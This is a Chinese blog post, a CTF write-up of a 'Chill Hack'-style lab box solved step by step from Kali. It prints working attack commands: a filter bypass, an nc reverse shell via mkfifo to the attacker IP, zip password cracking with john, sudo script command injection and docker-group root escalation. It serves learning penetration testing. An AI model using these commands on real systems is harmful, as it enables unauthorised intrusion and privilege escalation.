暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CTF之一次曲折获取Flag的过程

小迪安全 2021-05-21
1189

 当你追逐生活的时候,请别忘了那个为你放下生活的人。



Hello各位朋友们,我是小杰,今天我们继续CTF之旅。
好,直接步入正题,先看看这次的题目描述。

通过题目描述,是有一个什么鬼机器人,能和世界进行交流巴拉巴拉......初步确定是需要获取两个Flag,题目的关键字是“枚举”。

好的,打开靶标系统~

映入眼帘的就是这个CHILL HACK的字样,还有一个“骷髅头”。下边有一处登陆系统的地方。

很好,打开我们的“hack”机器——Kali2020。(这里为什么不用忍者系统一会儿说明。)


首先确定我们攻击机的IP地址:192.168.187.130


进行网段扫描,确认靶机的IP为192.168.187.137

可以看到靶机系统开放了21、22、80三个端口。

我们先访问80瞅瞅~


界面花里胡哨的,随便浏览了几下发现是一个纯静态站点,搜索框什么的都是假的,似乎没什么好利用的。


接下来去看看21端口。

嗯,有一个txt文件,打开看看

这里有一个叫“Apaar”的用户给了这么一句提示,大概意思说“Anurodh”用户说命令中会有一些过滤,可能和命令执行有关,这里先记下来,后面可能会用到


继续浏览没什么发现了,扫扫目录看看。

这里看看有一个secret文件夹,我们去浏览器中查看一番。

是一个执行命令的地方。

    结合我们之前得到的信息,命令执行会被过滤,这里应该就是让我们绕过拦截了。

    先执行几下看看。

执行ls、cat、less、more等等命令都会弹出“Are you a hacker?

经过多次尝试,我发现执行tac可以绕过检测。

tac index.php
复制


查看页面源代码

果然是有过滤,这里的代码是把我们输入的命令按照空格间隔开,之后进行匹配,这里直接命令执行绕过getshell。


我这里使用nc进行getshell。

Kali进行监听

nc -lvp 6666
复制



靶机执行命令,反弹shell

这里利用Linux下nc命令执行反弹shell的方式

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 >/tmp/f
复制


nice,这里我们已经getshell,看看权限。

我们获取的是用户www-data的权限,等级较低,考虑到后续的操作,这里进行提权。


刚刚在网页中测试时,我们看到靶机上是装有python的,所以这里使用python进行提权。

python3 -c "import pty;pty.spawn('/bin/bash')"
复制


ok,提权成功,接下来浏览浏览目录。看看能不能直接找到Flag


Flag没找到,不过看到一个hacker.php的文件很可疑


输出看看

黑客:你竟然已经走到这一步了!看着这片黑暗,你将会找到答案.......(出题的作者中二病犯了,有我当年风范)啊哈哈哈....


<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
复制

代码中这个图片的名字叫法外加神神叨叨的这段话,估计是CTF中的隐写术了。

我淦!我不会隐写术啊


网上查了查资料,貌似有一款隐写的工具可以破解利用一下。

那就先下载到本地看看吧


在靶机利用python启动一个web服务器(在images目录下启动)

python3 -m http.server 8080
复制


在Kali上进行下载

wget http://192.168.187.137:8080/hacker-with-laptop_23-2147985341.jpg
复制


这里用到的隐写破解工具是steghide

具体使用方法可以在官网查看http://steghide.sourceforge.net/


好,拿着工具干它一波

steghide extract -sf hacker-with-laptop_23-2147985341.jpg
复制


nice,提取出了图片中隐藏的压缩文件backup.zip


解压缩,发现需要解压密码......


彳亍口巴,祭出神器——开膛手约翰(john)

john是Sectools排行榜上前十的密码破解工具,功能十分强大。

这里我也要顺便说一下为啥这次不用忍者的原因,忍者上没有集成john和steghide,再安装的话过于耗费时间,还有就是忍者需要的电脑资源实在是太大了,16G内存的我有点吃不消


有的大佬会说hashcat也可以破解,忍者上是有hashcat的,不过我玩的不熟练,索性就直接kali一步到位了


好了,废话不多说,继续。

先生成hash文件。

zip2john backup.zip > backup.hash
复制



john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash
john backup.hash --show 
复制

使用john加载本地字典进行破解,这里破解成功,显示密码为pass1word


接下来进行文件解压,查看解压的文件内容

<html>
<head>
Admin Portal
</head>
<title> Site Under Development ... </title>
<body>
<form method="POST">
Username: <input type="text" name="name" placeholder="username"><br><br>
Email: <input type="email" name="email" placeholder="email"><br><br>
Password: <input type="password" name="password" placeholder="password">
<input type="submit" name="submit" value="Submit">
</form>
<?php
if(isset($_POST['submit']))
{
$email = $_POST["email"];
$password = $_POST["password"];
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);?><br><br><br>
<form method="POST">
Enter the OTP: <input type="number" name="otp">
<input type="submit" name="submitOtp" value="Submit">
</form>
<?php mail($email,"OTP for authentication",$random);
if(isset($_POST["submitOtp"]))
{
$otp = $_POST["otp"];
if($otp == $random)
{
echo "Welcome Anurodh!";
header("Location: authenticated.php");
}
else
{
echo "Invalid OTP";
}
}
}
else
{
echo "Invalid Username or Password";
}
}
?>
</html>
复制


阅读代码,看到一处使用base64加密的地方,解密看一下。


解密得到密码 

!d0ntKn0wmYp@ssw0rd
复制



登陆密码拿到手了,开始找账户进行登陆,最终在home目录下看到三个用户

是不是很眼熟,前两个用户就是我们刚开始通过ftp获得到的那个文本文件中的两个用户。


拿着我们刚刚获取到的账号密码,尝试ssh登陆,经测试发现anurodh是可以登陆的。

ssh anurodh@192.168.187.137
复制



使用sudo -l查看sudo的权限,发现可以使用apaar身份执行一个脚本文件

sudo -l
复制



继续~

apaar目录是可以进入的,不过里面的local.txt文件不可以读取


查看执行权限,读取隐藏文件helpline.sh

观察发现,msg这个地方是存在命令执行的


我们可以切换到apaar身份去执行输出local.txt的内容

sudo -u apaar ./.helpline.sh
复制


果不其然,拿到了第一个Flag


ok,继续。

查看anurodh用户信息


发现有docker组

尝试列出本地镜像

docker images -a
复制


既然有本地docker镜像,那就尝试docker提权

docker run -v /:/mnt  -it alpine
复制



提权成功,ok,继续搜索关键文件


输出proof.txt


Ohhhhh~~~

终于拿到了最终的Flag


小节:不容易,搞了近十个小时,前期由于攻击平台的工具版本问题,好几处破解、提权的地方都莫名报错,从kali2017逐个版本硬是换到kali2020才逐步把问题解决。看了网上很多师傅的思路,也学习到了不少新姿势



长路漫漫,学习作伴。


喜欢这篇文章的朋友,还请劳烦点个小小的关注~


文章转载自小迪安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论